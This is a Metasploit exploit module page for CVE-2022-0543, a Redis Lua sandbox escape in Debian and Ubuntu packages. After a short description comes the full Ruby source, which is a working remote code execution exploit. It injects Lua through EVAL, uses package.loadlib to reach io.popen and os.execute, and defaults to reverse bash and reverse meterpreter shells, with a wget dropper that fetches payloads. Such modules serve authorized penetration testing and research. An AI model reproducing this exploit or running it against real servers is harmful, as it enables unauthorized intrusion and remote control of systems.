Headline
Redis Lua Sandbox Escape
This Metasploit module exploits CVE-2022-0543, a Lua-based Redis sandbox escape. The vulnerability was introduced by Debian and Ubuntu Redis packages that insufficiently sanitized the Lua environment. The maintainers failed to disable the package interface, allowing attackers to load arbitrary libraries. On a typical redis deployment (not docker), this module achieves execution as the redis user. Debian/Ubuntu packages run Redis using systemd with the “MemoryDenyWriteExecute” permission, which limits some of what an attacker can do. For example, staged meterpreter will fail when attempting to use mprotect. As such, stageless meterpreter is the preferred payload. Redis can be configured with authentication or not. This module will work with either configuration (provided you provide the correct authentication details). This vulnerability could theoretically be exploited across a few architectures: i386, arm, ppc, etc. However, the module only supports x86_64, which is likely to be the most popular version.
### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::CmdStager include Msf::Auxiliary::Redis def initialize(info = {}) super( update_info( info, 'Name' => 'Redis Lua Sandbox Escape', 'Description' => %q{ This module exploits CVE-2022-0543, a Lua-based Redis sandbox escape. The vulnerability was introduced by Debian and Ubuntu Redis packages that insufficiently sanitized the Lua environment. The maintainers failed to disable the package interface, allowing attackers to load arbitrary libraries. On a typical `redis` deployment (not docker), this module achieves execution as the `redis` user. Debian/Ubuntu packages run Redis using systemd with the "MemoryDenyWriteExecute" permission, which limits some of what an attacker can do. For example, staged meterpreter will fail when attempting to use mprotect. As such, stageless meterpreter is the preferred payload. Redis can be configured with authentication or not. This module will work with either configuration (provided you provide the correct authentication details). This vulnerability could theoretically be exploited across a few architectures: i386, arm, ppc, etc. However, the module only supports x86_64, which is likely to be the most popular version. }, 'License' => MSF_LICENSE, 'Author' => [ 'Reginaldo Silva', # Vulnerability discovery and PoC 'jbaines-r7' # Metasploit module ], 'References' => [ [ 'CVE', '2022-0543' ], [ 'URL', 'https://www.lua.org/pil/8.2.html'], [ 'URL', 'https://www.ubercomp.com/posts/2022-01-20_redis_on_debian_rce' ], [ 'URL', 'https://www.debian.org/security/2022/dsa-5081' ], [ 'URL', 'https://ubuntu.com/security/CVE-2022-0543' ] ], 'DisclosureDate' => '2022-02-18', 'Platform' => ['unix', 'linux'], 'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64], 'Privileged' => false, 'Targets' => [ [ 'Unix Command', { 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Type' => :unix_cmd, 'Payload' => { }, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' } } ], [ 'Linux Dropper', { 'Platform' => 'linux', 'Arch' => [ARCH_X86, ARCH_X64], 'Type' => :linux_dropper, 'CmdStagerFlavor' => [ 'wget'], 'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter_reverse_tcp' } } ] ], 'DefaultTarget' => 0, 'DefaultOptions' => { 'MeterpreterTryToFork' => true, 'RPORT' => 6379 }, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [ARTIFACTS_ON_DISK] } ) ) register_options([ OptString.new('TARGETURI', [true, 'Base path', '/']), OptString.new('LUA_LIB', [true, 'LUA library path', '/usr/lib/x86_64-linux-gnu/liblua5.1.so.0']), OptString.new('PASSWORD', [false, 'Redis AUTH password', 'mypassword']) ]) end # See https://github.com/rapid7/metasploit-framework/pull/13143 def has_check? true # Overrides the override in Msf::Auxiliary::Scanner imported by Msf::Auxiliary::Redis end # Use popen to execute the desired command and read back the output. This # is how the original PoC did it. def do_popen(cmd) exploit = "eval '" \ "local io_l = package.loadlib(\"#{datastore['LUA_LIB']}\", \"luaopen_io\"); " \ 'local io = io_l(); ' \ "local f = io.popen(\"#{cmd}\", \"r\"); " \ 'local res = f:read("*a"); ' \ 'f:close(); ' \ "return res' 0" \ "\n" sock.put(exploit) sock.get(read_timeout) end # Use os.execute to execute the desired command. This doesn't return any output, and likely # isn't meaningfully more useful than do_open but I wanted to demonstrate other execution # possibility not demonstrated by the original poc. def do_os_exec(cmd) exploit = "eval '" \ "local os_l = package.loadlib(\"#{datastore['LUA_LIB']}\", \"luaopen_os\"); " \ 'local os = os_l(); ' \ "local f = os.execute(\"#{cmd}\"); " \ "' 0" \ "\n" sock.put(exploit) sock.get(read_timeout) end def check connect # Before we get crazy sending exploits over the wire, let's just check if this could # plausiably be a vulnerable version. Using INFO we can check for: # # 1. 4 < Version < 6.1 # 2. OS contains Linux # 3. redis_git_sha1:00000000 # # We could probably fingerprint the build_id as well, but I'm worried I'll overlook at # package somewhere and it's nice to get final verification via exploitation anyway. info_output = redis_command('INFO') return Exploit::CheckCode::Unknown('Failed authentication.') if info_output.nil? return Exploit::CheckCode::Safe('Unaffected operating system') unless info_output.include? 'os:Linux' return Exploit::CheckCode::Safe('Invalid git sha1') unless info_output.include? 'redis_git_sha1:00000000' redis_version = info_output[/redis_version:(?<redis_version>\S+)/, :redis_version] return Exploit::CheckCode::Safe('Could not extract a version number') if redis_version.nil? return Exploit::CheckCode::Safe("The reported version is unaffected: #{redis_version}") if Rex::Version.new(redis_version) < Rex::Version.new('5.0.0') return Exploit::CheckCode::Safe("The reported version is unaffected: #{redis_version}") if Rex::Version.new(redis_version) >= Rex::Version.new('6.1.0') return Exploit::CheckCode::Unknown('Unsupported architecture') unless info_output.include? 'x86_64' # okay, looks like a worthy candidate. Attempt exploitation. result = do_popen('id') return Exploit::CheckCode::Vulnerable("Successfully executed the 'id' command.") unless result.nil? || result[/uid=.+ gid=.+ groups=.+/].nil? Exploit::CheckCode::Safe("Could not execute 'id' on the remote target.") ensure disconnect end def execute_command(cmd, _opts = {}) connect # force the redis mixin to handle auth for us info_output = redis_command('INFO') fail_with(Failure::NoAccess, 'The server did not respond') if info_output.nil? # escape any single quotes cmd = cmd.gsub("'", "\\\\'") # On success, there is no meaningful response. I think this is okay because we already have # solid proof of execution in check. resp = do_os_exec(cmd) fail_with(Failure::UnexpectedReply, "The server did not respond as expected: #{resp}") unless resp.nil? || resp.include?('$-1') print_good('Exploit complete!') ensure disconnect end def exploit print_status("Executing #{target.name} for #{datastore['PAYLOAD']}") case target['Type'] when :unix_cmd execute_command(payload.encoded) when :linux_dropper execute_cmdstager end endend